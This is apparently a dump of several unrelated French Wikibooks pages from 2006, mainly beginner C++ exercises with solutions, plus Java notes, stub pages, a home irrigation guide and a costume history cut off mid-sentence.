if(t[i]!=t[j])palyn=false; else {i++;j--;} if(palyn) cout<<"C'est un palyndrome"<<endl; else cout<<"ce n'est pas un palyndrôme"<<endl; return 0; } </pre> }} ===EXERCICE 8=== Ecrire un programme qui demande à l'utilisateur de taper une chaîne de caractères et qui affiche la lettre (minuscule ou majuscule) la plus fréquente. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La manipulation de chaînes de caractères. *Manipulation sur les majuscules ou minuscules. *Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { char ch[50]; int t[52]; int i,max; char cmax; cout<<"Tapez une chaîne : ";cin>>ch; for(i=0;i<52;i++)t[i]=0; i=0; while(ch[i]!='\0') { if(ch[i]>='A' && ch[i]<='Z')t[ch[i]-'A']++; else if(ch[i]>='a' && ch[i]<='z')t[ch[i]-'a'+26]++; i++; } max=t[0];cmax='A'; for(i=1;i<52;i++) if(max<t[i]) { max=t[i];if(i<26)cmax=(char)(i+'A'); else cmax=(char)(i-26+'a'); } cout<<"La lettre la plus fréquente est : "<<cmax<<endl; return 0; } </pre> }} Exercices en langage C++/Les structures 7681 36945 2006-03-10T13:35:31Z Merrheim 1032 == Les structures== à compléter Exercices en langage C++/IHM/Les fonctions 7682 36949 2006-03-10T13:38:39Z Merrheim 1032 {{Exercices en langage C++}} {{C++/Sous section|width=70%|nom=Exercices en langage C++/Les fonctions|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} Exercices en langage C++/IHM/Les classes 7683 36950 2006-03-10T13:38:53Z Merrheim 1032 {{Exercices en langage C++}} {{C++/Sous section|width=70%|nom=Exercices en langage C++/Les classes|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} Exercices en langage C++/IHM/La STL 7684 36951 2006-03-10T13:39:17Z Merrheim 1032 {{Exercices en langage C++}} {{C++/Sous section|width=70%|nom=Exercices en langage C++/La STL|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} Exercices en langage C++/IHM/Les fichiers 7685 36952 2006-03-10T13:39:44Z Merrheim 1032 {{Exercices en langage C++}} {{C++/Sous section|width=70%|nom=Exercices en langage C++/Les fichiers|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} Exercices en langage C++/Les fonctions 7686 41698 2006-05-06T16:51:18Z 86.208.212.46 /* EXERCICE 3 */ ==Les fonctions== ===EXERCICE 1=== Ecrire une fonction distance ayant comme paramètres 4 doubles xa,ya et xb,yb qui réprésentent les coordonnées de deux points A et B et qui renvoie la distance AB. Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Création de fonction simple. *Passage de paramètres par valeur. *Utilisation de return. *Appel d'une fonction. *Voici le fichier source : <pre> #include<iostream> using namespace std; #include<cmath> double distance(double xa, double ya, double xb, double yb) { double dx,dy; dx=xa-xb; dy=ya-yb; return sqrt(dx*dx+dy*dy); } int main() { double x1,y1,x2,y2,d; cout<<"Tapez l'abscisse de A : ";cin>>x1; cout<<"Tapez l'ordonnée de A : ";cin>>y1; cout<<"Tapez l'abscisse de B : ";cin>>x2; cout<<"Tapez l'ordonnée de B : ";cin>>y2; d=distance(x1,y1,x2,y2); cout<<"La distance AB vaut : "<<d<<endl; return 0; } </pre> }} ===EXERCICE 2=== Ecrire une fonction f ayant comme paramètres un double x et un booléen ok et qui renvoie un double par un return. La fonction renvoie par un return la racine carrée de (x-1)*(2-x). La fonction renvoie par l'intermédiaire de la variable ok la valeur true si x est la fonction est définie au point x, false sinon. Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Création de fonction simple. *Passage de paramètres par valeur et par référence. *Utilisation de return. *Paramètres en entrées et en sorties d'une fonction. *Appel d'une fonction. *Jeu de tests d'une fonction. Voici le fichier source : <pre> #include<iostream> usin,g namespace std; #include<cmath> double f(double x, bool &ok) { double r=0; if(x>=1 && x<=2){r=sqrt((x-1)*(2-x));ok=true;} else ok=false; return r; } int main() { double x,y; bool ok; cout<<"Tapez x :";cin>>x; y=f(x,ok); if(ok)cout<<"f(x) vaut :"<<y<<endl; else cout<<"x n'est pas correct"<<endl; return 0; } </pre> }} ===EXERCICE 3=== Ecrire une fonction f ayant en paramètre un entier et qui renvoie par un return un booléen : true si l'entier est premier false sinon. Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Création de fonction simple. *Appel d'une fonction. *Validation des données avant l'appel d'une fonction. *Fonction renvoyant un booléen. *Voici le fichier source : <pre> #include<iostream> using namespace std; #include<cmath> bool f(int x) { bool r=true; int d=2; while(r && d*d<=x)if(x%d==0)r=false; else d++; return r; } int main() { int x; bool premier; do{ cout<<"Tapez x :";cin>>x; }while(x<=0); premier=f(x); if(premier)cout<<"x est premier"<<endl; else cout<<"x n'est pas premier"<<endl; return 0; } </pre> }} ===EXERCICE 4=== Ecrire une fonction f ayant comme paramètre un entier n et qui renvoie le n-ième nombre premier : cette fonction utilisera la fonction du 3). Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Création de fonctions simples. *Appel de fonction. *Fonction qui appelle une autre fonction. *Voici le fichier source : <pre> #include<iostream> using namespace std; bool premier(int x) { bool r=true; int d=2; while(r && d*d<=x)if(x%d==0)r=false; else d++; return r; } int Npremier(int N) { int nb=0; int i=2; while(nb!=N) { if(premier(i))nb++; i++; } return i-1; } int main() { int N,p; cout<<"Tapez la valeur de N : ";cin>>N; p=Npremier(N); cout<<"Le N-ième nombre premier est : "<<p<<endl; return 0; } </pre> }} ===EXERCICE 5=== Ecrire une fonction swap ayant en paramètres 2 entiers a et b et qui echange les contenus de a et de b. Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Création de fonction simple. *Appel d'une fonction. *Passage de paramètres par références. *Voici le fichier source : <pre> #include<iostream> using namespace std; void swap(int &x, int &y) { int temp; temp=x; x=y; y=temp; } int main() { int a,b; cout<<"Tapez a :";cin>>a; cout<<"Tapez b :";cin>>b; swap(a,b); cout<<"a vaut : "<<a<<endl; cout<<"b vaut : "<<b<<endl; return 0; } </pre> }} ===EXERCICE 6=== Ecrire une fonction f ayant en paramètres un tableau t de taille quelconque et un entier n indiquant la taille du tableau. f doit renvoyer par un return un booleén b indiquant s'il existe une valeur comprise entre 0 et 10 dans les n premières cases du tableau t. Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Ecriture d'une fonction ayant comme paramètre un tableau de taille quelconque. *Recherche d'un élément dans un tableau vérifiant une propriété. *Utilisation de return. *Voici le fichier source : <pre> #include<iostream> using namespace std; void saisir(int t[],int n) { int i; for(i=0;i<n;i++) { cout<<"Tapez la valeur numero "<<i<<" : "; cin>> t[i]; } } bool f(int t[], int n) { bool trouve=false; int i=0; while(!trouve && i<n) if(t[i]>=0 && t[i]<=10)trouve=true; else i++; return trouve; } int main() { int a[10]; saisir(a,10); bool b; b=f(a,10); if(b)cout<<"Il existe une valeur entre 0 et 10"<<endl; else cout<<"Il n'existe pas de valeurs entre 0 et 10"<<endl; return 0; } </pre> }} ===EXERCICE 7=== Ecrire une fonction f ayant en paramètres un tableau t de taille quelconque et un entier n indiquant la taille du tableau. f doit renvoyer par un return le nombre de valeurs comprises entre 0 et 10 dans les n premières cases du tableau t.Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Ecriture d'une fonction ayant comme paramètre un tableau de taille quelconque. *Compter le nombre d'éléments dans un tableau vérifiant une propriété. *Utilisation de return. *Voici le fichier source : <pre> #include<iostream> using namespace std; void saisir(int t[],int n) { int i; for(i=0;i<n;i++) { cout<<"Tapez la valeur numero "<<i<<" : "; cin>> t[i]; } } int f(int t[], int n) { int nb=0; int i; for(i=0;i<n;i++) if(t[i]>=0 && t[i]<=10)nb++; return nb; } int main() { int a[10]; saisir(a,10); int x; x=f(a,10); cout<<"Il y a "<<x<<" valeur(s) entre 0 et 10"<<endl; return 0; } </pre> }} ===EXERCICE 8=== Ecrire une fonction f ayant en paramètres un tableau t de taille quelconque et un entier n indiquant la taille du tableau. f possède un autre paramètre v , entier passé par référence. f doit renvoyer par un return un booleén b indiquant s'il existe une valeur comprise entre 1 et 10 dans les n premières cases du tableau t. Si f renvoie true, v est égal à la valeur de la première case du tableau comprise entre 0 et 10. Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Ecriture d'une fonction ayant comme paramètre un tableau de taille quelconque. *Recherche d'un élément dans un tableau. *Utilisation de return. *Voici le fichier source : <pre> #include<iostream> using namespace std; void saisir(int t[],int n) { int i; for(i=0;i<n;i++) { cout<<"Tapez la valeur numero "<<i<<" : "; cin>> t[i]; } } bool f(int t[], int n, int &v) { bool trouve=false; int i=0; while(!trouve && i<n) if(t[i]>=0 && t[i]<=10){trouve=true; v=t[i];}else i++; return trouve; } int main() { int a[10]; bool b; int w; saisir(a,10); b=f(a,10,w); if(b)cout<<"Il existe une valeur entre 0 et 10 : "<<w<<" est la première de ces valeurs."<<endl; else cout<<"Il n'existe pas de valeurs entre 0 et 10"<<endl; return 0; } </pre> }} ===EXERCICE 9=== Ecrire une fonction f ayant en paramètres un tableau t1 de taille quelconque et un entier n indiquant la taille du tableau, ainsi qu'un tableau t2 de la même taille que t1. f doit renvoyer par un return un entier nb indiquant le nombre de valeurs comprises entre 0 et 10 dans le tableau t1. f doit mettre dans le tableau t2 les différentes valeurs comprise entre 0 et 10 qu'il a rencontrées dans le tableau t1. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Ecriture d'une fonction ayant comme paramètre un tableau de taille quelconque. *Extraction d'un sous-liste d'éléments. *Utilisation de return. *Voici le fichier source : <pre> #include<iostream> using namespace std; void saisir(int t[],int n) { int i; for(i=0;i<n;i++) { cout<<"Tapez la valeur numero "<<i<<" : "; cin>> t[i]; } } void afficher(int t[],int n) { int i; for(i=0;i<n;i++) cout<<t[i]<<" "; cout<<endl; } int f(int t1[], int n,int t2[]) { int i=0,nb=0; for(i=0;i<n;i++)if(t1[i]>=0 && t1[i]<=10){t2[nb]=t1[i];nb++;} return nb; } int main() { int a[10],b[10]; int nb; saisir(a,10); nb=f(a,10,b); cout<<"VOICI LES VALEURS ENTRE 0 ET 10 : "<<endl; afficher(b,nb); return 0; } </pre> }} ===EXERCICE 10=== Ecrire une fonction f ayant en paramètres un tableau t de taille quelconque et un entier n indiquant la taille du tableau. f doit renvoyer par un return un entier égal à l'indice de la première case du tableau (parmi les n premières) comprise entre 0 et 10. S'il n'existe pas de telle valeur, la fonction renvoie -1. Tester cette fonction. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Ecriture d'une fonction ayant comme paramètre un tableau de taille quelconque. *Recherche d'un élément dans un tableau. *Utilisation de return. *Voici le fichier source : <pre> #include<iostream> using namespace std; void saisir(int t[],int n) { int i; for(i=0;i<n;i++) { cout<<"Tapez la valeur numero "<<i<<" : "; cin>> t[i]; } } int f(int t[], int n) { int i=0,ind=-1; while(ind==-1 && i<n) if(t[i]>=0 && t[i]<=10)ind=i;else i++; return ind; } int main() { int a[10]; int w; saisir(a,10); w=f(a,10); if(w!=-1)cout<<"Il existe une valeur entre 0 et 10. " <<"l'indice de la première case est "<<w<<endl; else cout<<"Il n'existe pas de valeurs entre 0 et 10"<<endl; return 0; } </pre> }} Exercices en langage C++/Les classes 7687 36955 2006-03-10T13:41:26Z Merrheim 1032 ==Les classes== à compléter Exercices en langage C++/La STL 7688 36956 2006-03-10T13:41:48Z Merrheim 1032 ==La STL== à compléter Exercices en langage C++/Les fichiers 7689 36957 2006-03-10T13:42:16Z Merrheim 1032 ==Les fichiers== à compléter Exercices en langage C++/IHM/Les templates 7690 36959 2006-03-10T13:43:35Z Merrheim 1032 {{Exercices en langage C++}} {{C++/Sous section|width=70%|nom=Exercices en langage C++/Les templates|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} Exercices en langage C++/Les templates 7691 36960 2006-03-10T13:43:55Z Merrheim 1032 == Les templates== à compléter Programmation PHP/La librairie FPDF 7693 37006 2006-03-10T16:00:48Z Patszy 1236 {{Programmation PHP}} FPDF est d'origine française, il est gratuit, et trés facile d'utilisation. Cette librairie permet d'exploiter les possibilités de production de documents en PDF à l'aide de PHP.<br> Toute information utile se trouve sur le lien ci dessous, maintenu par l'auteur, y compris la zone de téléchargement, forum, tests divers, scripts, communauté ...<br> ''LIENS :'' <br><br> Consulter l'adresse suivante : <br> chez fpdf : [http://www.fpdf.org/ FPDF FRANCAIS]<br> Image:Td7bfig1.png 7694 37019 2006-03-10T18:24:52Z SergeMoutou 1178 Schéma interne TTL Schéma interne TTL Image:Td7bfig2.png 7697 37028 2006-03-10T18:49:16Z SergeMoutou 1178 nMos et pMos nMos et pMos Image:Td7bfig0.png 7698 37038 2006-03-10T19:16:38Z SergeMoutou 1178 Zones de fonctionnement des composants logiques Zones de fonctionnement des composants logiques Rpg maker xp 7699 37043 2006-03-10T20:24:08Z 86.201.70.87 Infos sur RPG maker xp '''[[RPG MAKER XP]]''' '''C'est quoi RPG Maker XP?''' C'est tout simplement un logiciel pour créer des jeux RPG(ou autre) '''Où peut-on le télécharger?''' Sur beaucoup de site([http://www.rpgcreative.free.fr RPG Creative], [http://www.creationrpg.frbb.net Creation RPG], [http://www.rpg-creation.com RPG-Creation], etc.)Mais Google est la meilleur façon de chercher des logiciels. '''Comment faire pour l'installé''' Il y a toujours écrit les instructions dans l'installeur, lis un peu -_-' '''J'ai pas trop compris comment faire des maps et tout le reste! ''' Il éxiste plein de tutoraux sur les sites et les forums de making '''Ha, daccord! J'ai un projet, mais le travail et trop lourd pour moi!''' Recrutes, c'est très utile(des mappeurs, des programmeurs, des scénaristes, etc.) '''J'ai fini mon projet! Je fais quoi?!''' Tu vas sur des sites et tu déposes ton jeu. ---- Modérateur de l'article: '''The P@in''' --[[Utilisateur:86.201.70.87|86.201.70.87]] 10 mars 2006 à 20:24 (UTC) [http://www.creationrpg.frbb.net Creation RPG] FORUM MAKIN Aide:Recherche 7701 37120 2006-03-11T12:24:49Z Greudin 1 aide depuis w: Voir [[w:Aide:Recherche|Aide:Recherche]]. Droit constitutionnel 1/Notions fondamentales 7707 38702 2006-03-24T09:46:56Z Greudin 1 oups oui mea culpa CHAP. 1 : LA NATURE DU POUVOIR CONSTITUTIONNEL Section 1. l'Etat § 1 : La Nation § 2 : Le territoire § 3 : La souveraineté Section 2. la Constitution § 1 : [[Droit constitutionnel 1/La notion de constitution|La notion de constitution]] § 2 : L'élaboration et la révision d'une constitution Section 3. La justice constitutionnelle § 1 : Les types de contrôle de constitutionnalité § 2 : Les origines du contrôle de constitutionnalité CHAP. 2 : L'ORGANISATION DU POUVOIR CONSTITUTIONNEL Section 1. La structure de l'Etat § 1 : L'Etat unitaire § 2 : L'Etat fédéral Section 2. la séparation du pouvoir § 2. Le régime présidentiel § 3. Le régime parlementaire CHAP. 3 : LES JUSTIFICATIONS DU POUVOIR CONSTITUTIONNEL Section 1. La souveraineté § 1 : La Nation, titulaire de la souveraineté § 3 : Le suffrage universel Section 2. la représentation Espéranto : Quatorzième Leçon 7708 40582 2006-04-20T09:56:02Z 86.210.3.215 /* Mots composés */ ==Mots composés== Comme l'allemand, l'espéranto forme les mots composés en mettant le mot fondamental à la fin. Ex: *main ciseau.....tondilmano Toutefois, quand il s'agit d'éviter une confusion, l'espéranto offre la possibilté de laisser la dernière lettre du mot précédant et permet même de séparer les mots par de petits traits. [[Catégorie:Espéranto|14]] Tribologie - Actualités 7712 44862 2006-06-17T16:28:34Z 81.52.163.5 /* Illustrations diverses, photographies de pièces usées, etc. */ {{Tribologie}} Ce chapitre est destiné à recevoir des informations nouvelles et à poser des questions. En particulier, si vous avez des informations permettant de compléter les rubriques ci-dessous, n'hésitez pas à en faire part ! == Illustrations diverses, photographies de pièces usées, etc. == Uniquement images libres de droits, à charger sur [[commons:Special:Upload]]. == Applications tribologiques du silicium == == Frottement sur les élastomères == == Adsorption des additifs de type dialkyldithiophosphates sur les céramiques == == Propriétés tribologiques des colloïdes à base de nanoparticules de silice == == Soja, lubrifiant et biocarburant == == Propriétés des additifs détergents type CD-2 == == Propriétés tribologiques des nanostructures de polymères déposés sur des surfaces de silicium == == Lubrifiants « grand public » style WD-40 == == Propriétés de frottement à sec des structures nanocristallines et polycristallines du cuivre == == Propriétés tribologiques des gaz adsorbés sur les films minces de carbone à l'état de quasi-diamant == == Amélioration des propriétés tribologiques des lubrifiants solides associés aux polyamides == == Interactions des additifs extrême pression et des surfaces d'acier == Programmation Java Machine virtuelle 7713 42961 2006-05-22T09:31:00Z Cpb 1553 typo {{Programmation Java}} == Introduction à la machine virtuelle java== Le langage java a introduit une notion extrêmement importante en informatique : la notion de machine virtuelle. Le langage java est un langage orienté objet qui doit être compilé. Mais le compilateur java ne produit pas directement un fichier exécutable, mais un on plusieurs fichiers dont l'extension est .class et appelé '''bytecode'''. Pour exécuter le programme, il faut utiliser la machine virtuelle Java qui va '''interpréter''' le bytecode en vue de l'exécution de programme. Il ne s'agit pas d'une compilation ''normale'' car le compilateur ne produit pas du code compréhensible directement par le microprocesseur, ni d'un langage ''interprété'' car il y a tout de même la notion de compilation mais une situation intermédiaire entre un langage interprété et un langage complètement compilé. == Avantage de l'utilisation de la machine virtuelle== L'utilisation d'une machine virtuelle a l'énorme avantage de garantir une vraie '''portabilité'''. Il existe des machines virtuelles java pour de très nombreux environnements : Windows, Mac, Linux, et des tonnes d'autres. Ces machines virtuelles sont capables d'exécuter exactement le même bytecode (les mêmes fichiers java) avec une totale compatibilité. C'est là une situation unique et assez remarquable qui a fait le succès de ce langage. La machine virtuelle java n'est pas uniquement implémentée sur des ordinateurs classiques mais on peut trouver une multitude d'appareils implémentant des machines virtuelles java : des téléphones portables, des PDA, etc.... == Les API java : des fonctionnalités énormes== La machine virtuelle java possède un ensemble de bibliothèques extrêmement complètes : des bibliothèques graphiques, des bibliothèques systèmes, ...etc... Toutes ces bibliothèques sont totalement portables d'un environnement à l'autre. La machine virtuelle Java offre donc un véritable système d'exploitation virtuel, qui fonctionne au dessus du système d'exploitation de la machine cible et le masque totalement aux applications. == La lenteur de java== Le gros point faible du concept de machine virtuelle est que le bytecode est interprété par la machine virtuelle. Ceci entraîne une baisse importante des performances des programmes. Il faut toutefois avoir en tête que pour beaucoup d'applications, la performance n'est pas un critère prépondérant. De plus, force est de constater que la vitesse des machines augmente considérablement d'année en année et que les inconvénients de la lenteur peuvent être comblés avec l'augmentation de la puissance de la machine. Programmation Java Opérateurs 7714 45792 2006-06-26T14:18:22Z 194.51.220.25 /* Les opérateurs */ {{Programmation Java}} ==Les opérateurs== Voici une liste des opérateurs utilisables en [[Programmation Java|Java]], avec leur signification et leur priorité dans l'ordre décroissant (1 : forte priorité ; 6 : faible priorité) et le type de données auquel chaque opérateur s'applique : <table border = "1"> <tr><th>Opérateur</th><th>Explication</th><th>Priorité</th></tr> <tr><td>+</td><td>Additioner</td><td></td></tr> <tr><td>-</td><td>Soustraire</td><td></td></tr> <tr><td>*</td><td>Multiplier</td><td></td></tr> <tr><td>/</td><td>Diviser</td><td></td></tr> <tr><td>()</td><td></td><td></td></tr> <tr><td>++</td><td>Incrémenter</td><td></td></tr> <tr><td>--</td><td>Décrementer</td><td></td></tr> <tr><td>></td><td>Stictement supérieur</td><td></td></tr> <tr><td><</td><td>Strictement inférieur</td><td></td></tr> <tr><td>>=</td><td>Supérieur ou égale</td><td></td></tr> <tr><td><=</td><td>Inférieur ou égale</td><td></td></tr> <tr><td>!=</td><td>Différent de</td><td></td></tr> <tr><td>==</td><td>Egalité</td><td></td></tr> <tr><td>?&nbsp;:</td><td></td><td></td></tr> <tr><td></td><td></td><td></td></tr> Modèle:Furigana 7721 37409 2006-03-13T11:13:59Z Merrheim 1032 <span title="{{{2}}}">{{{1}}}</span> Spiritualité 7722 37474 2006-03-13T16:30:05Z 86.213.49.48 La spiritualité est ce qui est de l'esprit et n'a de rapport avec la matérialité. Le spiritualisme lui, considère l'esprit comme une réalité et considère que la valeur de l'esprit est supérieure à toute matière. Quelques livres conseillés: - Dicitionnaire de l'ésotérisme . Editions Puf - Larousse des religions. Editions Larousse - Entretien avec l'Esprit. Textes et prétexte - Dictionnaire de la Franc maçonnerie. Editions du Rocher Arrosages 7723 44214 2006-06-09T13:00:48Z 195.167.237.115 /* Calculs de débit */ ''ébauche » à compléter. A terme ce livre devra permettre à un particulier de réaliser son propre arrosage automatique en toute connaissance de cause et de gérer le plus finement possible sa consommation d'eau.'' Arroser c'est apporter l'eau nécessaire à la croissance des végétaux dans le but d'améliorer ou de rendre possible la production de fruit ou autres parties du végétal qui soit utile ou consommable. Cela peut aussi être d'améliorer l'aspect du végétal dans un but esthétique. Dans tous les cas cet apport d'eau doit compenser les manques sur une période donnée. ==Introduction== L'arrosage est probablement né avec l'agriculture ou peu après. Il à donné lieu à des réalisations parfois pharaoniques (les aqueducs des romains qui servaient essentiellement à l'adduction d'eau pour les villes je dois le reconnaître) parfois plus simples comme les petits canaux d'irrigation délimitant des carrés fertiles dans les oasis. Aujourd'hui les connaissances sont plus scientifiques et moins empiriques. Les grandes entreprises qui fabriquent du matériel d'arrosage rivalisent d'ingéniosité pour créer de nouveau appareils toujours plus performant. Gardons simplement à l'esprit que l'eau est précieuse et doit être utilisée avec la plus grande efficacité possible. L'arrosage doit être fait où il faut, quand il faut et à la bonne dose. Cette ouvrage à pour but de vous aider à créer un système d'arrosage le plus efficace et économe possible. Nous aborderons quelques notions un peu complexes au début mais nous n'aurons besoin que d'un compas, d'une règle et d'une bonne calculatrice pour faire quelques aditions!!! ==Techniques d’arrosage== On peut distinguer plusieurs techniques d’arrosage : * manuelle (arrosoir, seau, tuyau d'arrosage...), réservée aux petites surfaces et au plaisir du potager ; * par écoulement de surface, sous le simple effet de la gravité, au moyen de canaux et rigoles, * par aspersion, technique qui consiste à reproduire la pluie, * par [[goutte à goutte]], pour une irrigation de précision, ou micro irrigation, destinée à économiser l’eau, * par infiltration, au moyen de tuyaux filtrants enterrés, variante de la technique du goutte à goutte, * par inondation ou submersion (comme dans les rizières). ==Détermination des besoins en eau== Les besoins en eau des plantes dépendent de plusieurs facteurs, intrinsèques ou extrinsèques à la culture : nature des plantes cultivées (espèce, variété), stade de végétation, nature et état d’humidité du sol, données climatiques (précipitations, insolation, vent, température...). Il convient de tenir compte des réserves en eau du sol, de l’évaporation au niveau du sol, de la transpiration des plantes, de l’évapotranspiration qui cumule les deux phénomènes. Le calcul des besoins en eau se fait à partir de l'ETP (évapotranspiration potentielle : la quantité d'eau qu'un ensemble sol/végétation peut "consommer" exprimer en mm par jour soit en litre/m²/jour) et de la pluviométrie. Il y a deux méthodes de l'estimation ETP : - Directe par les cases lysimétriques - Indirecte par les formules empériques adéquates à la région étudiée == Choix de la technique d'arrosage == ===Aspersion=== L'aspersion consiste à imiter la pluie. Il existe trois types d'appareils qui vous permettront d'arroser de cette manière: *Les arroseurs à batteurs. Ils sont dotés d'une pièce mobile montée sur ressort qui vient frapper le jet d'eau et provoque ainsi la rotation de l'appareil. Ce type d'arroseur offre une bonne répartition de l'eau mais est bruyant et plutôt gros. Leur portée se situe entre 5 et plus de 20 m. **Avantages **#Fiable **#Peu cher **#Pluviométrie régulière **#Faible débit **Inconvénients **#Bruyant **#Gros **#Vieillot *Les tuyères. Les tuyères sont des arroseurs non rotatifs présentant une ouverture continue créant une sorte de parapluie de gouttelettes. Ces arroseurs sont simple et peu onéreux mais ont un débit très important par rapport à la zone couverte. Leur porté maximal est d'environ 5 m. **Avantages **#Fiable **#Pas cher **#Pluviométrie moins régulière **#Facile à mettre en œuvre **Inconvénients **#Sensible au vent **#Gros débit **#Délicat au niveau de la pression **#Faible portée *Les turbines. Les turbines sont des arroseurs rotatifs munis d'un mécanisme actionné par le mouvement de l'eau. Ce sont les appareils les plus élaborés. Ils ont une bonne à très bonne répartition de l'eau suivant les marques et ont des débits inférieurs aux tuyères. Ils sont cependant plus fragiles. Leur portée va de 5 à plus de 20 m. **Avantages **#Presque silencieux **#Pluviométrie régulière **#Facile à mettre en œuvre **Inconvénients **#Respecter les buses pour avoir des débits proportionnels **#Débit faible **#Coût * Les micro-jets rotatif. Il ne s'agit pas à proprement parler d'arroseur puisque ce sont des buses que l'on pose en remplacement sur une tuyère. ils méritent d'être cités car ils sont l'hybride de la turbine et de la tuyère alliant les avantages des deux type d'arroseurs. Leur faible débit permet de mettre plus d'arroseur sur le même réseau. Ils sont peu sensible au vent et on une portée allant de 2 à 9 m. Ils sont cependant relativement fragile et ne supporte pas très bien les eaux non filtrées. **Avantages **#On peut mélanger les buses et les portées **#Pas cher **#Pluviométrie très régulière **#Facile à mettre en œuvre **#Large plage de portée **#Très faible débit **#Joli parapluie de jets fin tournant **Inconvénients **#Fragile **#Sensible au bouchage ===Goutte à Goutte=== Le goutte à goutte consiste en un tube sur lequel on ajoute des goutteurs ayant un débit connu et à un espacement régulier. Il existe des tubes à goutteurs intégrés. L'avantage de ce dispositif est qu'il permet un apport très localisé et de grandes économies d'eau. ===Choisir=== La technique adoptée ainsi que le matériel choisi seront déterminant pour le reste du projet. Il est possible d’arroser des massifs par aspersion ou de la pelouse par goutte à goutte (pour les rebelles de l'arrosage ou les visionnaires nous aborderons la technique de subirrigation, ses avantages et inconvénients dans le chapitre "'''Et demain'''") cependant nous nous contenterons d’appliquer les « recettes » classiques tant qu’elles fonctionnent. *La pelouse Pour les végétations rases comme la pelouse l’idéal est l’aspersion. La taille, la forme et l’exposition au vent sont les principaux critères qui permettent d’effectuer un choix dans les différents types d’arroseurs et leur portée. *Les massifs On entend par massif tout ce qui n’est pas de la pelouse et qui est plutôt haut (30 cm). La meilleure technique est le goutte à goutte. Le choix du type de goutte à goutte se fera en fonction du type de plante et des espacements. == Choix et implantation d'arroseur == Avant de faire quoique ce soit il vous faut connaître la pression et le débit de votre source d'eau. Dans le cas où vous ne pourriez pas la déterminer prenez comme base 3m3/h à une pression de 3 bars (attention si c’est moins votre arrosage ne marchera pas !). Ensuite vous pouvez allez faire un tour sur les sites de fabricants de matériel pour vous familiariser un peu avec tous ça.<br/> [http://www.hunter.fr/ Hunter]<br/> [http://www.nelsonirrigation.com/intl/french.cfm Nelson]<br/> [http://www.netafim.fr/ Netafim goutte à goutte]<br/> [http://www.rainbird.fr/ Rainbird] une rubrique d’aide au particulier bien faite<br/> [http://www.sadimato.com/ Toro]<br/> [http://www.mprotator.com/index.html?language=fr Walla Walla MP rotator] une révolution<br/> == Choix et implantation de goutte à goutte == == Calculs de débit == == Dimensionnement des tubes == == Choix des accessoires == == Comment programmer son arrosage== == Trucs astuces et nouveautés== ==Et demain== ===La subirrigation=== Chose promise chose due!! La subirrigation est LA technique de l'avenir, très économe, invisible mais fragile et pas encore tout à fait au point pour les applications les plus exigeantes du type Green sur un golf. (Suite le plus tôt possible) ==Liens vers les fabricants== Voici une liste lien non exhaustive vers des fabricants avec des sites plus ou moins bien fait. [http://www.hunter.fr/ Hunter]<br/> [http://www.nelsonirrigation.com/intl/french.cfm Nelson]<br/> [http://www.netafim.fr/ Netafim goutte à goutte]<br/> [http://www.rainbird.fr/ Rainbird] une rubrique d’aide au particulier bien faite<br/> [http://www.sadimato.com/ Toro]<br/> [http://www.mprotator.com/index.html?language=fr Walla Walla MP rotator] une révolution<br/> Costumes 7724 38839 2006-03-26T06:22:42Z 83.115.109.83 ''''''L’évolution des costumes au cours des siècles'''''' == '''Le vêtement drapé''' == Celui qui s’entoure le corps d’une serviette en sortant de la douche, réinvente, sans le savoir, le plus simple et le plus ancien vêtement: le pagne. De nos jours, de nombreux peuples de régions chaudes l’ont gardé comme unique vêtement. Au minimum, il s’agit d’une bande de tissu passée entre les jambes et attachée devant et derrière à la ceinture, parfois une simple ficelle. Quand la bande est longue, elle permet de faire aussi le tour des hanches. Les plus anciens paysans d’Egypte utilisaient une écharpe de lin pour leur pagne. Aux Indes, on porte encore couramment ce genre de pagne en coton. Quand le tissu est plus large, le pagne descend jusqu’aux mollets. Les femmes le remontent généralement sous les bras et en font une robe sans couture. En Egypte ancienne, les gens plus riches marquaient leur différence par un plissement soigneux du pagne par devant. Avec leur toge, les Romains recherchaient des plis harmonieux rendant plus majestueux ce simple vêtement drapé. Selon les pays, on appelle pagne, sari, paréo, cape, châle, la pièce de tissu servant à envelopper le corps. Quand le tissu est percé, au centre, d’une ouverture permettant d’y passer la tête, il s’agit d’un poncho, répandu en Amérique du Sud. == '''Du drapé au cousu''' == Pour attacher les bords du tissu drapé, on utilisait dans l’Antiquité des sortes de broches, appelées fibules. Mais la caractéristique du vêtement drapé est qu’à chaque déshabillage, il redevient un simple morceau de tissu. On prit un jour l’habitude de coudre ensemble les bords que l’on voulait unir en permanence, par exemple sur les côtés et aux épaules. A ces vêtements d’une seule pièce, en taillant le tissu plus largement pour les épaules (en forme de T), on obtenait des manches, plus ou moins longues. On pouvait ensuite y ajouter à volonté un col, une ceinture ou des bordures décoratives. De cette technique simple naquirent tous les vêtements amples : tunique, cafetan arabe, boubou d’Afrique noire, kimono japonais. La robe ample fut le vêtement le plus répandu au Moyen Age, pour les hommes comme pour les femmes. La ceinture permettait de modifier l’allure générale en serrant ou non la taille, en fixant des plis ou en faisant blouser le haut du tissu par-dessus la ceinture. == '''Le vêtement ajusté''' == Certains peuples anciens eurent l’idée d’ajuster le vêtement à leur corps, en réduisant la largeur du tissu au niveau de la taille, 